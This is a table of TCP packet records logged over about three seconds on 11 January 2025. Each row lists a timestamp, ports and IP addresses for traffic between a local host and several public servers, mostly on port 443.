Jan 11, 2025 07:54:34.515038013 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.515058041 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.515234947 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.569138050 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.576888084 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.576946020 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.577161074 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.577197075 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.577390909 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.577518940 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.577531099 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.577733994 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.577768087 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.577785969 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.578022003 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.578263998 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.578296900 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.578483105 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.587985992 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:34.588365078 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:34.588388920 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:34.590699911 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.590750933 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:34.591012001 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:34.591723919 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.591754913 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.592456102 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:34.592551947 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:34.592571020 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:34.592710018 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:34.592751026 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.593168020 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.593208075 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.593229055 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.593401909 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.611310959 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.611335993 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.611406088 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.611496925 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.611530066 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.611582994 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.611676931 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.611710072 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.611804008 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.611886978 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.612080097 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.612328053 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.612636089 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.612823963 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.612828970 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.612875938 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.613039970 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.613075972 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.613094091 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.645922899 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:34.645921946 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.645948887 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:34.660871029 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.687788010 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.688380003 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.688419104 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.689357042 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.689862013 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.690035105 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.690068960 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.690108061 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.691778898 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:34.696623087 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.696955919 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.697247982 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.697283030 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.697729111 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.697818995 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.697830915 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.698013067 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.698082924 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.698285103 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.698306084 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.698782921 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.698956966 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.698985100 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.699014902 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.699119091 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.699342966 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.699363947 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.699547052 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.699867010 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.700064898 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.700064898 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.700164080 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.700181961 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.700639009 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.700795889 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.700814962 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.700898886 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.729727030 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.729974031 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.730036974 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.730076075 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.731494904 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.731636047 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.731676102 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.731812954 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.731921911 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.732310057 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.732635021 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.732861996 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.732889891 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.732896090 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.732907057 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.733140945 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.733285904 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.733474016 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.733607054 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.733680010 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.733863115 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.734019995 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.734117031 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.734163046 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.734177113 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.734177113 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.734252930 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.734283924 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.734306097 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.734353065 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.734390020 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.734582901 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.738701105 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.753582954 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.753626108 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.815788031 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.815802097 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.816123009 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.816160917 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.816272020 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.816530943 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.816569090 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.816603899 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.816786051 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.816824913 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.830130100 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.830327034 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.830368996 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.830382109 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.831207991 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.831422091 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.831561089 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.831561089 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.831595898 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.831613064 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.832175016 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.833250999 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.833292961 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.836221933 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.836357117 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.836488008 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.886872053 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.886997938 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.887238026 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.887491941 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.887491941 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.887532949 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.887841940 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.892450094 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.892494917 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.923975945 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.924139977 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.924180984 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.924304008 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.933365107 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.933366060 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.933415890 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.933685064 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.933870077 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.933923960 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.934103012 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.934315920 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.934355021 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.013636112 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:35.013679981 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:35.013856888 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:35.014128923 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:35.014141083 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:35.206429005 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.206882954 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.206917048 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.207973957 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.208503008 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.208589077 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.208617926 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.208739042 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.263273954 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.281724930 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:35.281825066 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:35.282098055 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:35.283715963 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:35.283750057 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:35.504990101 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.505001068 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.505171061 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.505371094 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.505377054 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.516824007 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.516952991 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.517148972 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.519084930 CET	53133	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.519094944 CET	443	53133	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.519447088 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.519459009 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.519584894 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.519750118 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.519757986 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.776150942 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.776546001 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.776571989 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.777462959 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.777893066 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.777992010 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.778002024 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.778086901 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.790267944 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.790540934 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.790577888 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.791450977 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.791986942 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.791986942 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.792035103 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.792222023 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:35.820754051 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:35.835771084 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.093324900 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.093688965 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.093997002 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.094552040 CET	53517	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.094579935 CET	443	53517	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.094927073 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.094983101 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.095293999 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.095449924 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.095488071 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.101214886 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.101316929 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.101471901 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.101890087 CET	64527	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.101927996 CET	443	64527	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.102144957 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.102190018 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.102360010 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.102510929 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.102535009 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.367960930 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.368451118 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.368483067 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.369364977 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.369848013 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.369887114 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.369905949 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.370086908 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.374821901 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.375154018 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.375181913 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.376049995 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.376475096 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.376580000 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.376590014 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.376746893 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.391391039 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.391443968 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.391613007 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.391805887 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.391841888 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.423224926 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.423232079 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.515944958 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:36.621401072 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.621440887 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.621675968 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.622056007 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.622085094 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.625053883 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:36.625210047 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:36.634210110 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:36.676995993 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.677061081 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.677298069 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.677896976 CET	62842	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.677916050 CET	443	62842	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.678214073 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.678241014 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.678421974 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.678529024 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.678550005 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.693361044 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.693418026 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.693573952 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.693989992 CET	50350	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.694005966 CET	443	50350	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.694272995 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.694293976 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.694462061 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.694616079 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.694631100 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.765410900 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.765826941 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.765845060 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.766345024 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.766896009 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.767019033 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.767030001 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.810256958 CET	443	57559	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.811227083 CET	57559	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.839030981 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.839062929 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.839215994 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.839306116 CET	64886	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.839322090 CET	443	64886	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.950598955 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.951134920 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.951162100 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.951910973 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.952480078 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.952549934 CET	65270	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.952574015 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.952683926 CET	443	65270	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.965512991 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.965975046 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.966000080 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.966815948 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.967300892 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.967412949 CET	63255	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:36.967427015 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.967504025 CET	443	63255	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:36.987646103 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.988102913 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.988132954 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.988888979 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.989294052 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.989404917 CET	61072	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:36.989418983 CET	443	61072	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:36.989501953 CET	443	61072	204.79.197.203	192.168.11.20
